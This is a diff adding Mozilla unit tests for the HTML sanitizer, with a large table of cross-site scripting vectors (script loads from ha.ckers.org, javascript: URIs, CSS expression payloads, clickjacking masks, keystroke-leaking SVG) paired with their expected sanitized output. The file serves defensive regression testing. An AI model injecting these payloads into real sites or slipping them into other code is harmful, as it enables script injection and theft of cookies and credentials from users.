+    data: '<svg xmlns="http://www.w3.org/2000/svg">\n<a id="x"><rect fill="white" width="1000" height="1000"/></a>\n<rect  fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/>\n</svg>',
+    sanitized: "<html><head></head><body>\n\n\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg">\r\n<path d="M0,0" style="marker-start:url(test4.svg#a)"/>\r\n</svg>',
+    sanitized: "<html><head></head><body>\n\n</body></html>",
+  },
+  {
+    data: '<div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>',
+    sanitized: "<html><head></head><body><div>X</div></body></html>",
+  },
+  {
+    data: '<div id="x">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>',
+    sanitized: '<html><head></head><body><div id="x">XXX</div>\n</body></html>',
+  },
+  {
+    data: "<x style=\"background:url('x[a];color:red;/*')\">XXX</x>",
+    sanitized: "<html><head></head><body>XXX</body></html>",
+  },
+  {
+    data: "<!--[if]><script>alert(1)</script -->\r\n<!--[if<img src=x onerror=alert(2)//]> -->",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<div id="x">x</div>\n<xml:namespace prefix="t">\n<import namespace="t" implementation="#default#time2">\n<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">',
+    sanitized:
+      '<html><head></head><body><div id="x">x</div>\n\n\n</body></html>',
+  },
+  {
+    data: '<a href="http://attacker.org">\n\t<iframe src="http://example.org/"></iframe>\n</a>',
+    sanitized:
+      '<html><head></head><body><a href="http://attacker.org">\n\t\n</a></body></html>',
+  },
+  {
+    data: '<div draggable="true" ondragstart="event.dataTransfer.setData(\'text/plain\',\'malicious code\');">\n\t<h1>Drop me</h1>\n</div>\n\n<iframe src="http://www.example.org/dropHere.html"></iframe>',
+    sanitized:
+      '<html><head></head><body><div draggable="true">\n\t<h1>Drop me</h1>\n</div>\n\n</body></html>',
+  },
+  {
+    data: '<iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe>\n\n<textarea type="text" cols="50" rows="10"></textarea>',
+    sanitized:
+      '<html><head></head><body>\n\n<textarea type="text" cols="50" rows="10"></textarea></body></html>',
+  },
+  {
+    data: "<script>\nfunction makePopups(){\n\tfor (i=1;i<6;i++) {\n\t\twindow.open('popup.html','spam'+i,'width=50,height=50');\n\t}\n}\n</script>\n\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>",
+    sanitized:
+      '<html><head>\n\n</head><body>\n<a href="#">Spam</a></body></html>',
+  },
+  {
+    data: '<html xmlns="http://www.w3.org/1999/xhtml"\nxmlns:svg="http://www.w3.org/2000/svg">\n<body style="background:gray">\n<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/>\n<svg:svg>\n<svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox">\n\t<svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/>\n\t<svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>',
+    sanitized:
+      '<html><head></head><body>\n\n&lt;svg:svg&gt;\n&lt;svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"&gt;\n\t&lt;svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/&gt;\n\t&lt;svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;</body></html>',
+  },
+  {
+    data: '<iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<span class=foo>Some text</span>\n<a class=bar href="http://www.example.org">www.example.org</a>\n\n<script src="http://code.jquery.com/jquery-1.4.4.js"></script>\n<script>\n$("span.foo").click(function() {\nalert(\'foo\');\n$("a.bar").click();\n});\n$("a.bar").click(function() {\nalert(\'bar\');\nlocation="http://html5sec.org";\n});\n</script>',
+    sanitized:
+      '<html><head></head><body><span class="foo">Some text</span>\n<a class="bar" href="http://www.example.org">www.example.org</a>\n\n\n</body></html>',
+  },
+  {
+    data: '<script src="/\\example.com\\foo.js"></script> // Safari 5.0, Chrome 9, 10\n<script src="\\\\example.com\\foo.js"></script> // Safari 5.0',
+    sanitized:
+      "<html><head> </head><body>// Safari 5.0, Chrome 9, 10\n // Safari 5.0</body></html>",
+  },
+  {
+    data: '<?xml version="1.0"?>\r\n<?xml-stylesheet type="text/xml" href="#stylesheet"?>\r\n<!DOCTYPE doc [\r\n<!ATTLIST xsl:stylesheet\r\n  id    ID    #REQUIRED>]>\r\n<svg xmlns="http://www.w3.org/2000/svg">\r\n    <xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">\r\n        <xsl:template match="/">\r\n            <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(1)"></iframe>\r\n        </xsl:template>\r\n    </xsl:stylesheet>\r\n    <circle fill="red" r="40"></circle>\r\n</svg>',
+    sanitized:
+      "<!DOCTYPE doc>\n<html><head></head><body>]&gt;\n\n    \n        \n            \n        \n    \n    \n</body></html>",
+  },
+  {
+    data: '<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>\r\n<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>',
+    sanitized: "<html><head></head><body>\n</body></html>",
+  },
+  {
+    data: '<svg xmlns="http://www.w3.org/2000/svg" id="x">\r\n<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>\r\n<handler id="y">alert(1)</handler>\r\n</svg>',
+    sanitized: "<html><head></head><body>\n\nalert(1)\n</body></html>",
+  },
+  {
+    data: "<svg><style>&lt;img/src=x onerror=alert(1)// </b>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<svg>\n<image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>",
+    sanitized: "<html><head></head><body>\n\n\n</body></html>",
+  },
+  {
+    data: '<math href="javascript:alert(1)">CLICKME</math>\r\n\r\n<math>\r\n<!-- up to FF 13 -->\r\n<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>\r\n\r\n<!-- FF 14+ -->\r\n<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction>\r\n</math>',
+    sanitized:
+      '<html><head></head><body><math>CLICKME</math>\n\n<math>\n\n<maction actiontype="statusline#http://google.com">CLICKME</maction>\n\n\n<maction actiontype="statusline">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math></body></html>',
+  },
+  {
+    data: "<b>drag and drop one of the following strings to the drop box:</b>\r\n<br/><hr/>\r\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>\r\n<br/><hr/>\r\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\n<div id=\"dropbox\" style=\"height: 360px;width: 500px;border: 5px solid #000;position: relative;\" ondragover=\"event.preventDefault()\">+ Drop Box +</div>",
+    sanitized:
+      "<html><head></head><body><b>drag and drop one of the following strings to the drop box:</b>\n<br><hr>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:data:text/html,&lt;script&gt;alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&lt;/script&gt;&lt;b&gt;\n<br><hr>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\n<div id=\"dropbox\">+ Drop Box +</div></body></html>",
+  },
+  {
+    data: '<!doctype html>\r\n<form>\r\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\r\n<br>\r\n<input name="secret" type="password">\r\n</form>\r\n<!-- injection --><svg height="50px">\r\n<image xmlns:xlink="http://www.w3.org/1999/xlink">\r\n<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />\r\n<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />\r\n<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />\r\n<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />\r\n</image>\r\n</svg>',
+    sanitized:
+      "<!DOCTYPE html>\n<html><head></head><body>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n\n\n\n\n\n\n\n\n\n</body></html>",
+  },
+  {
+    data: "<!-- `<img/src=xx:xx onerror=alert(1)//--!>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<xmp>\r\n<%\r\n</xmp>\r\n<img alt='%></xmp><img src=xx:x onerror=alert(1)//'>\r\n\r\n<script>\r\nx='<%'\r\n</script> %>/\r\nalert(2)\r\n</script>\r\n\r\nXXX\r\n<style>\r\n*['<!--']{}\r\n</style>\r\n-->{}\r\n*{color:red}</style>",
+    sanitized:
+      '<html><head></head><body>\n&lt;%\n\n<img alt="%&gt;&lt;/xmp&gt;&lt;img src=xx:x onerror=alert(1)//">\n\n %&gt;/\nalert(2)\n\n\nXXX\n\n--&gt;{}\n*{color:red}</body></html>',
+  },
+  {
+    data: '<form action="" method="post">\r\n<input name="username" value="admin" />\r\n<input name="password" type="password" value="secret" />\r\n<input name="injected" value="injected" dirname="password" />\r\n<input type="submit">\r\n</form>',
+    sanitized: "<html><head></head><body>\n\n\n\n\n</body></html>",
+  },
+  {
+    data: "<SCRIPT>alert('XSS');</SCRIPT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "'';!--\"<XSS>=&{()}",
+    sanitized: "<html><head></head><body>'';!--\"=&amp;{()}</body></html>",
+  },
+  {
+    data: "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=javascript:alert('XSS')>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=JaVaScRiPt:alert('XSS')>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
+    sanitized: "<html><head></head><body>SRC=\n<img></body></html>",
+  },
+  {
+    data: "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG SRC=\"javascript:alert('XSS')\"",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<SCRIPT>a=/XSS/",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "\\\";alert('XSS');//",
+    sanitized: "<html><head></head><body>\\\";alert('XSS');//</body></html>",
+  },
+  {
+    data: '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BODY ONLOAD=alert('XSS')>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG DYNSRC=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<IMG LOWSRC=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<BGSOUND SRC=\"javascript:alert('XSS');\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BR SIZE=\"&{alert('XSS')}\">",
+    sanitized: "<html><head></head><body><br></body></html>",
+  },
+  {
+    data: '<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<IMG SRC="mocha:[code]">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<IMG SRC="livescript:[code]">',
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="Link" Content="<javascript:alert(\'XSS\')>; REL=stylesheet">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
+    sanitized: "<html><head></head></html>",
+  },
+  {
+    data: "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
+    sanitized: "<html><head></head><body><table></table></body></html>",
+  },
+  {
+    data: "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
+    sanitized: "<html><head></head><body><div></div></body></html>",
+  },
+  {
+    data: "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
+    sanitized: "<html><head></head><body><div></div></body></html>",
+  },
+  {
+    data: "<DIV STYLE=\"width: expression(alert('XSS'));\">",
+    sanitized: "<html><head></head><body><div></div></body></html>",
+  },
+  {
+    data: "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
+    sanitized: "<html><head></head><body><img></body></html>",
+  },
+  {
+    data: "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: 'exp/*<XSS STYLE=\'no\\xss:noxss("*//*");',
+    sanitized: "<html><head></head><body>exp/*</body></html>",
+  },
+  {
+    data: "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>",
+    sanitized: '<html><head></head><body><a class="XSS"></a></body></html>',
+  },
+  {
+    data: '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<BASE HREF=\"javascript:alert('XSS');//\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "getURL(\"javascript:alert('XSS')\")",
+    sanitized:
+      "<html><head></head><body>getURL(\"javascript:alert('XSS')\")</body></html>",
+  },
+  {
+    data: 'a="get";',
+    sanitized: '<html><head></head><body>a="get";</body></html>',
+  },
+  {
+    data: "<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert('XSS');\">",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<HTML><BODY>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"--><!--#exec cmd=\"/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'\"-->",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<? echo('<SCR)';",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert(\'XSS\')&lt;/SCRIPT&gt;">',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-',
+    sanitized:
+      "<html><head> </head><body>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</body></html>",
+  },
+  {
+    data: '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC',
+    sanitized: "<html><head></head><body>PT SRC</body></html>",
+  },
+  {
+    data: "",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<dialog>allowed</dialog>",
+    sanitized:
+      "<html><head></head><body><dialog>allowed</dialog></body></html>",
+  },
+  {
+    data: "<main>allowed</main>",
+    sanitized: "<html><head></head><body><main>allowed</main></body></html>",
+  },
+  {
+    data: "<picture>allowed</picture>",
+    sanitized:
+      "<html><head></head><body><picture>allowed</picture></body></html>",
+  },
+  {
+    data: "<template>allowed</template>",
+    sanitized:
+      "<html><head><template>allowed</template></head><body></body></html>",
+  },
+  {
+    // traverse into HTML template elements
+    data: '<template><img src="x" onerror="alert(1)"></template>',
+    sanitized:
+      "<html><head><template><img></template></head><body></body></html>",
+  },
+  {
+    // do not traverse into SVG template elements (that's not a thing)
+    data: "<svg><template></template></svg>",
+    sanitized: "<html><head></head><body></body></html>",
+  },
+  {
+    data: "<svg><use href='http://example.com/test.svg'></svg>",
+    flags: 1, // ParserUtils.SanitizerAllowStyle
+    sanitized: "<html><head></head><body><svg><use></use></svg></body></html>",
+  },
+  {
+    // fragments that reference the same document are allowed.
+    data: "<svg><use href='#x'></svg>",
+    flags: 1, // ParserUtils.SanitizerAllowStyle
+    sanitized:
+      '<html><head></head><body><svg><use href="#x"></use></svg></body></html>',
+  },
+  {
+    data: '<svg><use xlink:href="http://example/#baz"/></svg>',
+    flags: 1, // ParserUtils.SanitizerAllowStyl,
+    sanitized: "<html><head></head><body><svg><use></use></svg></body></html>",
+  },
+];
diff --git a/parser/xml/test/unit/test_sanitizer.js b/parser/xml/test/unit/test_sanitizer.js
new file mode 100644
index 0000000000..814940578d
--- /dev/null
+++ b/parser/xml/test/unit/test_sanitizer.js
@@ -0,0 +1,53 @@
+const { AppConstants } = ChromeUtils.importESModule(
+  "resource://gre/modules/AppConstants.sys.mjs"
+);
+if (AppConstants.platform != "android") {
+  // We load HTML documents, which try to track link state, which requires
+  // the history service, which requires a profile.
+  do_get_profile();
+}
+
+function run_test() {
+  // vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
+  load("results.js"); // gives us a `vectors' array
+  /* import-globals-from ./results.js */
+
+  if (AppConstants.platform != "android") {
+    // xpcshell tests are weird. They fake shutdown after the test finishes. This upsets this test
+    // because it will try to create the history service to check for visited state on the links
+    // we're parsing.
+    // Creating the history service midway through shutdown breaks.
+    // We can't catch this in the history component because we're not *actually* shutting down,
+    // and so the app startup's service's `shuttingDown` bool is false, even though normally that
+    // is set to true *before* profile-change-teardown notifications are fired.
+    // To work around this, just force the history service to be created earlier:
+
+    let { PlacesUtils } = ChromeUtils.importESModule(
+      "resource://gre/modules/PlacesUtils.sys.mjs"
+    );
+    Assert.ok(
+      PlacesUtils.history.databaseStatus <= 1,
+      "ensure places database is successfully initialized."
+    );
+  }
+
+  var ParserUtils = Cc["@mozilla.org/parserutils;1"].getService(
+    Ci.nsIParserUtils
+  );
+  var sanitizeFlags =
+    ParserUtils.SanitizerCidEmbedsOnly |
+    ParserUtils.SanitizerDropForms |
+    ParserUtils.SanitizerDropNonCSSPresentation;
+  // flags according to
+  // http://mxr.mozilla.org/comm-central/source/mailnews/mime/src/mimemoz2.cpp#2218
+  // and default settings
+
+  for (var item in vectors) {
+    let { data, sanitized, flags } = vectors[item];
+    if (!flags) {
+      flags = sanitizeFlags;
+    }
+    var out = ParserUtils.sanitize(data, flags);
+    Assert.equal(sanitized, out);
+  }
+}
diff --git a/parser/xml/test/unit/test_sanitizer_style.js b/parser/xml/test/unit/test_sanitizer_style.js
new file mode 100644
index 0000000000..6f00295cda
--- /dev/null
+++ b/parser/xml/test/unit/test_sanitizer_style.js
@@ -0,0 +1,125 @@
+const { AppConstants } = ChromeUtils.importESModule(
+  "resource://gre/modules/AppConstants.sys.mjs"
+);
+
+if (AppConstants.platform != "android") {
+  // We load HTML documents, which try to track link state, which requires
+  // the history service, which requires a profile.
+  do_get_profile();
+}
+
+const kTestCases = [
+  {
+    // bug 1602843
+    data: `@font-face { font-family: 'ab<\\/style><img src onerror=alert(1)>'}`,
+    sanitized: `@font-face { font-family: 'ab<\\/style><img src onerror=alert(1)>'}`,
+  },
+  {
+    // bug 1680084
+    data: `<!--
+/* Font Definitions */
+@font-face
+       {font-family:"Cambria Math";
+       panose-1:2 4 5 3 5 4 6 3 2 4;}
+@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}
+@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}
+/* Style Definitions */
+p.MsoNormal, li.MsoNormal, div.MsoNormal
+       {margin:0mm;
+       text-align:justify;
+       text-justify:inter-ideograph;
+       font-size:10.5pt;
+       font-family:"Yu Gothic";}
+span.17
+       {mso-style-type:personal-compose;
+       font-family:"Yu Gothic";
+       color:windowtext;}
+.MsoChpDefault
+       {mso-style-type:export-only;
+       font-family:"Yu Gothic";}
+/* Page Definitions */
+@page WordSection1
+       {size:612.0pt 792.0pt;
+       margin:99.25pt 30.0mm 30.0mm 30.0mm;}
+div.WordSection1
+       {page:WordSection1}
+-->`,
+    sanitized: `@font-face
+       {font-family:"Cambria Math";
+       panose-1:2 4 5 3 5 4 6 3 2 4;}@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}@font-face
+       {font-family:"Yu Gothic";
+       panose-1:2 11 4 0 0 0 0 0 0 0;}p.MsoNormal, li.MsoNormal, div.MsoNormal
+       {margin:0mm;
+       text-align:justify;
+       text-justify:inter-ideograph;
+       font-size:10.5pt;
+       font-family:"Yu Gothic";}.MsoChpDefault
+       {mso-style-type:export-only;
+       font-family:"Yu Gothic";}div.WordSection1
+       {page:WordSection1}`,
+  },
+];
+
+const kConditionalCSSTestCases = [
+  {
+    data: `#foo { display: none } @media (min-width: 300px) { #bar { display: none } }`,
+    sanitized: `#foo { display: none }`,
+  },
+  {
+    data: `@media (min-width: 300px) { #bar { display: none } }`,
+    sanitized: ``,
+  },
+];
+
+function run_test() {
+  if (AppConstants.platform != "android") {
+    // xpcshell tests are weird. They fake shutdown after the test finishes. This upsets this test
+    // because it will try to create the history service to check for visited state on the links
+    // we're parsing.
+    // Creating the history service midway through shutdown breaks.
+    // We can't catch this in the history component because we're not *actually* shutting down,
+    // and so the app startup's service's `shuttingDown` bool is false, even though normally that
+    // is set to true *before* profile-change-teardown notifications are fired.
+    // To work around this, just force the history service to be created earlier:
+
+    let { PlacesUtils } = ChromeUtils.importESModule(
+      "resource://gre/modules/PlacesUtils.sys.mjs"
+    );
+    Assert.ok(
+      PlacesUtils.history.databaseStatus <= 1,
+      "ensure places database is successfully initialized."
+    );
+  }
+
+  var ParserUtils = Cc["@mozilla.org/parserutils;1"].getService(
+    Ci.nsIParserUtils
+  );
+  var sanitizeFlags =
+    ParserUtils.SanitizerDropForms |
+    ParserUtils.SanitizerDropNonCSSPresentation |
+    ParserUtils.SanitizerAllowStyle;
+
+  for (let { data, sanitized } of kTestCases) {
+    let out = ParserUtils.sanitize(`<style>${data}</style>`, sanitizeFlags);
+    info(out);
+    Assert.equal(
+      `<html><head><style>${sanitized}</style></head><body></body></html>`,
+      out
+    );
+  }
+
+  for (let { data, sanitized } of kConditionalCSSTestCases) {
+    let out = ParserUtils.removeConditionalCSS(`<style>${data}</style>`);
+    info(out);
+    Assert.equal(
+      `<html><head><style>${sanitized}</style></head><body></body></html>`,
+      out
+    );
+  }
+}
diff --git a/parser/xml/test/unit/xpcshell.ini b/parser/xml/test/unit/xpcshell.ini
new file mode 100644
index 0000000000..4ae9918864
--- /dev/null
+++ b/parser/xml/test/unit/xpcshell.ini
@@ -0,0 +1,6 @@
+[DEFAULT]
+head =
+support-files = results.js
+
+[test_sanitizer.js]
+[test_sanitizer_style.js]